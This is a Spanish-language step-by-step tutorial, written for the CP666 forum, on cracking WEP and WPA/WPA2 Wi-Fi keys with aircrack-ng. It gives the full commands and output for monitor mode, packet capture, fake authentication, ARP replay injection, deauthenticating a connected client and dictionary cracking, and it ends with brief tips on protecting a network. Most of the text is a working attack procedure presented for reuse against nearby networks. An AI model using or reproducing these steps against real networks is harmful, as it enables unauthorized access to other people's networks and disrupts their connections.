

WEP, WPA/WPA2 Cracking

By: Alfa-Omega

Introduccion

En este manual explicare como crackear claves wep, wpa y wpa2, para ello utilizare el live cd de backtrack 3 (beta) y la suite aircrack (la suite aircrack ya viene incorporada en backtrack)

Wep crack

Bien, lo primero que tenemos que hacer antes de nada es poner nuestra tarjeta wireless en modo monitor, esto sirve para poder sniffar los paquetes de la red wireless a la que tenemos pensado acceder.

Para ello usaremos ***airmon-ng***, abrimos una Shell y escribimos el siguiente comando:

```
airmon-ng stop <interfaz>
```

donde ***<interfaz>*** es el nombre de la interfaz de vuestra tarjeta wireless

el flag ***stop*** sirve para “desactivar” la interfaz, para que posteriormente podamos ponerla en modo monitor...

si no sabes cual es el nombre de la interfaz de tu tarjeta wireless, escribe **iwconfig** en la Shell y te saldrá el nombre de la interfaz...

```
bt ~ # iwconfig
lo        no wireless extensions.

eth0     no wireless extensions.

wifi0    no wireless extensions.

ath0     IEEE 802.11g  ESSID:""  Nickname:""
         Mode:Managed  Channel:0  Access Point: Not-Associated
         Bit Rate:0 kb/s  Tx-Power:17 dBm  Sensitivity=1/1
         Retry:off  RTS thr:off  Fragment thr:off
         Encryption key:off
         Power Management:off
         Link Quality=0/70  Signal level=-100 dBm  Noise level=-100 dBm
         Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
         Tx excessive retries:0  Invalid misc:0  Missed beacon:0
```

como se ve en la imagen el nombre de la interfaz de mi tarjeta wireless es **ath0**, osea que en mi caso seria:

airmon-ng stop ath0

```
bt ~ # airmon-ng stop ath0

Interface      Chipset      Driver
wifi0          Atheros     madwifi-ng
ath0           Atheros     madwifi-ng VAP (parent: wifi0) (VAP destroyed)
```

ahora usaremos el siguiente comando para poner la tarjeta en modo monitor:

airmon-ng start <interfaz>

donde **<interfaz>** es el nombre de la interfaz de vuestra tarjeta wireless

el flag **start** sirve para poner la tarjeta en modo monitor

en mi caso seria...

airmon-ng start wifi0

en mi caso es **wifi0** en vez de **ath0**, debido a que estoy usando los drivers madwifi-ng...

```
bt ~ # airmon-ng start wifi0

Interface      Chipset      Driver
wifi0          Atheros     madwifi-ng
ath0           Atheros     madwifi-ng VAP (parent: wifi0) (monitor mode ena
bled)
```

bueno, ahora ya estamos listos para empezar...

vamos a escanear las redes que tenemos a nuestro alcance...

para eso usaremos **airodump-ng**, en la Shell escribe el siguiente comando:

airodump-ng <interfaz>

donde **<interfaz>** es el nombre de la interfaz de vuestra tarjeta wireless

en mi caso seria:

airodump-ng ath0

y lo que se nos muestra es lo siguiente:

```
CH 7 ][ Elapsed: 44 s ][ 2008-06-27 18:42
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
00:80:5A:5A:79:9F	56	49	0 0	6	54.	WEP	WEP		Alfa-Omega
00:50:7F:B9:50:F8	7	27	0 0	6	54.	WEP	WEP		FER
00:01:38:98:01:06	3	16	0 0	6	54.	WEP	WEP		WLAN_6E
00:01:38:7B:A1:EE	1	6	0 0	6	54.	WPA	TKIP	PSK	WLAN_D2
00:01:38:71:A2:72	3	26	0 0	6	54.	WEP	WEP		WLAN_0D
00:02:CF:4C:83:45	2	23	0 0	9	54.	WEP	WEP		WLAN_B3

como se ve en la imagen tengo acceso a varias redes wireless

pero la malloria de ellas me dan una señal muy baja, si quereis crackear la pass de una red wireless con una señal tan baja os será muy difícil...

en mi caso intentare conectarme a la red "Alfa-Omega" que es la que mejor señal me da y además como se puede ver usa un cifrado WEP...

asi que voi a tomar un par de datos, vamos a apuntar la dirección mac (BSSID), el canal de la red y el nombre de la red (ESSID)

mac (BSSID): 00:80:5A:5A:79:9F

canal (CH): 6

nombre (ESSID): Alfa-Omega

bien, una vez tomados los datos ya podemos dejar de escanear las redes...

ahora vamos a capturar los paquetes de la red que nos interesa,

para ello usaremos **airodump-ng** otra vez

abrimos una Shell y escribimos:

airodump-ng -c 6 --bssid 00:80:5A:5A:79:9F -w captura ath0

repasemos los flags usados:

-c es el canal de la red wireless, en mi caso es el 6

--bssid es la dirección mac del punto de acceso al que le queremos crackear la pass en mi caso 00:80:5A:5A:79:9F (esto simplemente es un filtro para capturar únicamente los paquetes de la dirección mac indicada)

-w es el archivo donde se guardaran los paquetes que intercepta airodump-ng y que posteriormente usaremos para crackear la pass

ath0 es la interfaz de nuestra tarjeta

```
CH 6 ][ Elapsed: 12 s ][ 2008-06-27 18:44
BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:80:5A:5A:79:9F  70  96    73      0   0   6  54. WEP  WEP      Alfa-Omega
BSSID          STATION          PWR  Rate  Lost  Packets  Probes
```

como se ve en la imagen el airodump esta capturando solo los paquetes de la red que le hemos indicado,

importante: no cierres la Shell donde tengas puesto el airodump-ng, porque sino dejara de sniffar los paquetes y el ataque no funcionara...

bien, ahora haremos una falsa autentificación, esto sirve para que el AP (Access point, punto de acceso) no rechaze los paquetes que inyectaremos posteriormente

o sea para que el AP acepte nuestros paquetes deberemos estar asociados a el, en caso de que conociésemos una dirección mac que este asociada al AP pues podríamos usarla para inyectar paquetes, pero en este caso no conocemos ninguna, así que usaremos la falsa autentificación.

Para ello usaremos **aireplay-ng**, abre una nueva Shell y escribe el siguiente comando:

aireplay-ng -1 0 -e Alfa-Omega -a 00:80:5A:5A:79:9F -h 11:22:33:44:55:66 ath0

bien, repasemos los flags:

-1 es el flag que usa el aireplay para hacer la falsa autenticación, el **0** indica cada cuanto hace una falsa autenticación..

-e indica el ESSID del AP, osea... el nombre que tiene la red

-a es el BSSID del AP, osea... la dirección mac del punto de acceso

-h la mac que queremos que quede asociada con el AP, normalmente es mejor poner una mac inventada (como es el caso), pero también podríamos poner nuestra propia dirección mac (no es aconsejable, por razones de seguridad...)

ath0 es la interfaz de nuestra tarjeta

```
bt ~ # aireplay-ng -1 0 -a 00:80:5A:5A:79:9F -h 11:22:33:44:55:66 ath0
The interface MAC (00:15:AF:B3:D6:D3) doesn't match the specified MAC (-h).
  ifconfig ath0 hw ether 11:22:33:44:55:66
18:45:19 Waiting for beacon frame (BSSID: 00:80:5A:5A:79:9F) on channel 6

18:45:19 Sending Authentication Request (Open System)
18:45:19 Authentication successful
18:45:19 Sending Association Request
18:45:19 Association successful :-)
```

bien, ahora ya tenemos una dirección mac asociada con el AP, ya podemos inyectar paquetes,

lo que haremos a continuación será utilizar **aireplay-ng** para capturar peticiones ARP y volver a inyectarlas a la red, con esto generaremos paquetes que nos servirán para poder crackear la pass...

en una Shell escribimos lo siguiente:

aireplay-ng -3 -b 00:80:5A:5A:79:9F -h 11:22:33:44:55:66 ath0

repasemos los flags...

-3 este es el flag que usa aireplay para capturar y reenviar las peticiones ARP

-a es el BSSID del AP, la dirección mac del punto de acceso

-h la dirección mac que hemos asociado antes, o en caso de que sepamos alguna que ya estea asociada pues podemos usarla

ath0 es la interfaz de nuestra tarjeta

```
bt ~ # aireplay-ng -3 -b 00:80:5A:5A:79:9F -h 11:22:33:44:55:66 ath0
The interface MAC (00:15:AF:B3:D6:D3) doesn't match the specified MAC (-h).
ifconfig ath0 hw ether 11:22:33:44:55:66
18:45:48 Waiting for beacon frame (BSSID: 00:80:5A:5A:79:9F) on channel 6
Saving ARP requests in replay_arp-0627-184548.cap
You should also start airodump-ng to capture replies.
Read 164 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
```

como vemos en la imagen el aireplay esta capturando paquetes, pero no captura ninguna petición ARP.... Asi que tenemos que esperar hasta que haya capturado unas 150.000 (esto puede llevar varios minutos)

```
Read 273013 packets (got 157032 ARP requests and 0 ACKs), sent 132893 packets...
Read 273116 packets (got 157094 ARP requests and 0 ACKs), sent 132942 packets...
Read 273219 packets (got 157159 ARP requests and 0 ACKs), sent 132994 packets...
Read 273322 packets (got 157217 ARP requests and 0 ACKs), sent 133043 packets...
Read 273425 packets (got 157277 ARP requests and 0 ACKs), sent 133093 packets...
Read 273528 packets (got 157338 ARP requests and 0 ACKs), sent 133145 packets...
Read 273631 packets (got 157403 ARP requests and 0 ACKs), sent 133194 packets...
Read 273734 packets (got 157460 ARP requests and 0 ACKs), sent 133244 packets...
Read 273837 packets (got 157523 ARP requests and 0 ACKs), sent 133295 packets...
Read 273940 packets (got 157575 ARP requests and 0 ACKs), sent 133345 packets...
Read 274043 packets (got 157629 ARP requests and 0 ACKs), sent 133395 packets...
Read 274146 packets (got 157689 ARP requests and 0 ACKs), sent 133446 packets...
Read 274249 packets (got 157742 ARP requests and 0 ACKs), sent 133496 packets...
Read 274352 packets (got 157800 ARP requests and 0 ACKs), sent 133546 packets...
(499 pps)
```

bien, como vemos en la imagen ya hemos capturado unas 150.000 peticiones ARP, asi que ha llegado el momento decisivo...

vamos a crackear la clave wep...

para ello usaremos **aircrack-ng**

abrimos una nueva Shell y escribimos el siguiente comando:

```
aircrack-ng -z *.cap
```

repasemos los flags:

-z es el flag que usa aircrack para activar un tipo de crackeo rápido..

*.cap la ruta donde tengamos el archivo de captura de airodump, en mi caso el archivo esta en el directorio root asi que que no hace falta que ponga ruta, simplemente he puesto *.cap para que abra todos los archivos con extensión .cap..

Pulsamos enter....

```
bt ~ # aircrack-ng -z *.cap
Opening captura-01.cap
Opening replay_arp-0627-184548.cap
Read 272744 packets.

# BSSID          ESSID          Encryption
1 00:80:5A:5A:79:9F Alfa-Omega     WEP (127625 IVs)

Choosing first network as target.

Opening captura-01.cap
Opening replay_arp-0627-184548.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 133304 ivs.
```

Esperamos unos pocos segundos y.....

```
Aircrack-ng 1.0 beta1 r857

[00:00:01] Tested 623 keys (got 133303 IVs)

KB  depth  byte(vote)
0   0/ 3    66(184576) 38(146432) D2(146432) 70(145152) BE(144640)
1   2/ 3    4C(148736) 86(145664) 3B(145408) FA(145152) C4(144896)
2  15/ 2    69(142080) 3D(141824) 67(141824) DC(141824) BA(141568)
3  16/ 3    D3(143360) D2(143104) FC(142592) 68(142336) FA(142080)
4   1/ 2    C2(150016) 91(148480) 4E(144640) E1(143616) 9B(143104)

KEY FOUND! [ 66:66:66:66:66:66:66:66:66:66:66:66 ] (ASCII: ffffffffffff)
)
Decrypted correctly: 100%
```

BINGO !!!!

Como se puede ver en la imagen:

KEY FOUND! [66:66:66:66:66:66:66:66:66:66:66:66]

La clave es tan larga porque es de 128bits...

WPA/WPA2 Crack

Ahora pasare a explicar como crackear pass wpa/wpa2, (el sistema es el mismo para los dos tipos de cifrados)

Bueno, antes de nada tenemos que seguir el mismo procedimiento que en el wep crack y poner la tarjeta en modo monitor usando airmon-ng...

```
bt ~ # airmon-ng stop ath0
```

Interface	Chipset	Driver
wifi0	Atheros	madwifi-ng
ath0	Atheros	madwifi-ng VAP (parent: wifi0) (VAP destroyed)

```
bt ~ # airmon-ng start wifi0
```

Interface	Chipset	Driver
wifi0	Atheros	madwifi-ng
ath0	Atheros	madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Una vez lo tengamos hecho... empezamos...

Al igual que en el wep crack primero vamos a escanear para saber las redes a las que podemos acceder

```
CH 3 ][ Elapsed: 28 s ][ 2008-06-27 20:08
BSSID          PWR Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:02:6F:4C:62:01 -1      0          2  0  3  -1  WPA          <length: 0>
00:13:F7:08:10:E0 -1      0          0  0  6  -1          <length: 0>
00:80:5A:5A:79:9F 60      20         0  0  6  54. WPA2 CCMP PSK Alfa-Omega
00:01:38:98:01:06 3        6          0  0  6  54. WEP WEP WLAN_6E
00:50:7F:B9:50:F8 4       13         0  0  6  54. WEP WEP FER
00:01:38:7B:A1:EE 2        9          0  0  6  54. WPA TKIP PSK WLAN_D2
00:02:CF:4C:83:45 1       10         0  0  9  54. WEP WEP WLAN_B3
```

Como vemos la red de Alfa-Omega es una victima perfecta... tiene una buena señal y un cifrado WPA2, asi que vamos a por esa... al igual que antes apuntamos lo datos.. mac(bssid), cannel(CH) y nombre(essid).

Usamos *airodump-ng* para capturar los paquetes

Es exactamente el mismo comando que para el wep crack...

airodump-ng -c 6 --bssid 00:80:5A:5A:79:9F -w captura ath0

```
CH 6 ][ Elapsed: 16 s ][ 2008-06-27 20:09
BSSID          PWR RXQ Beacons  #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:80:5A:5A:79:9F 68 96      81         0  0  6  54. WPA2 CCMP PSK Alfa-Omega
BSSID          STATION      PWR  Rate  Lost  Packets  Probes
```

bien... aora supuestamente tendríamos que esperar a que capture el handshake... que es lo que nos interesa realmente, pero esto puede tardar muchisimo tiempo, tendríamos que esperar a que se conecte algún cliente,

pero.... Si vemos que hay algún cliente conectado a la red, lo que podemos hacer es desautenticarle de la red, para que se vuelva a autenticar y asi conseguir el handshake y poder crackear la pass...

para saber si hay algún cliente conectado nos vamos a la shell donde tenemos puesto el **airodump-ng** y miramos en la parte de abajo si hay algún cliente conectado:

```
CH 6 ][ Elapsed: 2 mins ][ 2008-06-27 20:11 ][ WPA handshake: 00:80:5A:5A:79:9F
BSSID          PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:80:5A:5A:79:9F 61 100    596    480   0  6 54. WPA2 CCMP  PSK  Alfa-Omega
BSSID          STATION          PWR  Rate  Lost  Packets  Probes
00:80:5A:5A:79:9F 00:18:DE:A8:53:48 39  54-24  0    489
```

genial!!! Estoy de suerte, hay un cliente conectado a la red (mejor dicho... acabo de coger mi otro portátil y lo he conectado a la red xD)

ahora cogemos los datos del cliente conectado, solo nos hace falta la mac del cliente..

bien, para desautenticar vamos a usar el **aireplay-ng**

abrimos una Shell y escribimos el siguiente comando:

```
aireplay-ng -O 1 -a 00:80:5A:5A:79:9F -c 00:18:DE:A8:53:48 ath0
```

repasemos los flags..

-O es el flag usado para desautenticar el 1 indica las veces que se mandara la desautenticacion

-a es la dirección mac del AP

-c es la dirección mac del cliente que queremos desautenticar

```
bt ~ # aireplay-ng -O 1 -a 00:80:5A:5A:79:9F -c 00:18:DE:A8:53:48 ath0
20:13:12 Waiting for beacon frame (BSSID: 00:80:5A:5A:79:9F) on channel 6
20:13:12 Sending DeAuth to station -- STMAC: [00:18:DE:A8:53:48]
```

Ahora solo tenemos que crackear...

Al igual que antes usaremos **aircrack-ng**

Abrimos una Shell y escribimos:

```
aircrack-ng -w pass *.cap
```

repasemos los flags:

-w es la ruta del diccionario que usaremos para crackear , en mi caso tengo el diccionario en el directorio root asi que ya no me hace falta poner la ruta, con el nombre basta

***.cap** la ruta donde tengamos el archivo de captura de airodump, en mi caso el archivo esta en el directorio root asi que que no hace falta que ponga ruta, simplemente he puesto *.cap para que abra todos los archivos con extensión .cap..

Pulsamos enter...

Si el airodump-ng no capturo el handshake se mostrara un mensaje diciendo que no se ha capturado ningún handshake

Entonces tendremos que volver a desautenticar a algún cliente conectado para que podamos hacernos con los paquetes handshake

Si el airodump-ng capturo el handshake empezara el crackeo...

Esto puede tardar 5 minutos o 5 semanas... depende del diccionario que useis...

En mi caso...

```
bt ~ # aircrack-ng -w pass *.cap
Opening captura-01.cap
Read 1376 packets.

# BSSID      ESSID      Encryption
1 00:80:5A:5A:79:9F Alfa-Omega  WPA (1 handshake)

Choosing first network as target.

Opening captura-01.cap
Reading packets, please wait...
```

...apenas unos segundos...

...Y...

```
Aircrack-ng 1.0 beta1 r857

[00:00:00] 2 keys tested (10.27 k/s)

KEY FOUND! [ cp666group ]

Master Key      : 57 B4 CF 5F 93 98 8A A9 38 EC CB 6B 40 99 2C 52
                  CA F3 60 74 A3 31 80 28 C1 F9 3E 3C CF 9B 74 70

Transient Key   : D3 D9 8F D3 F8 BC 4A 8C 4B AA 7B D5 7B 5F C0 EF
                  1F 78 55 F8 A6 8A 36 D7 47 81 BC 3C CA 13 44 28
                  51 17 15 30 F3 F2 4A 36 76 BF 28 ED A9 27 F4 3A
                  F4 22 0E B0 AB 36 0C 5E BF 4B C5 5E BD 37 D3 01

EAPOL HMAC     : 3B A5 45 B3 AD CF AB 44 82 BD D8 58 AF B6 D0 CD
```

BINGO!!!!!!

Pass conseguida...

Como evitar que crackeen mi pass???

Bueno... aquí pondré un par de consejos para evitar que entren en vuestras redes sin vuestro consentimiento.

1º cuando os vallais a comprar un router asegurados de que soporte cifrados wpa/wpa2 son los mas seguros que existen oi en dia...

2º cuando vallais a poner una clave a la red, procurar que tenga mas de 15 caracteres y que sea una pass Alfa-Numerica (con números y letras)

3º si podeis... configurar vuestro router para que solo acepte las direcciones mac que vosotros queráis...

Estos consejos no evitan al 100% que entren en tu red, pero ayudan mucho...

**ESTE MANUAL HA SIDO ESCRITO PARA LA COMUNIDAD DE
PROGRAMADORES DE
666**

**WWW.CP666GROUP.COM
WWW.CP666GROUP.COM/foro**

Manual escrito por Alfa-Omega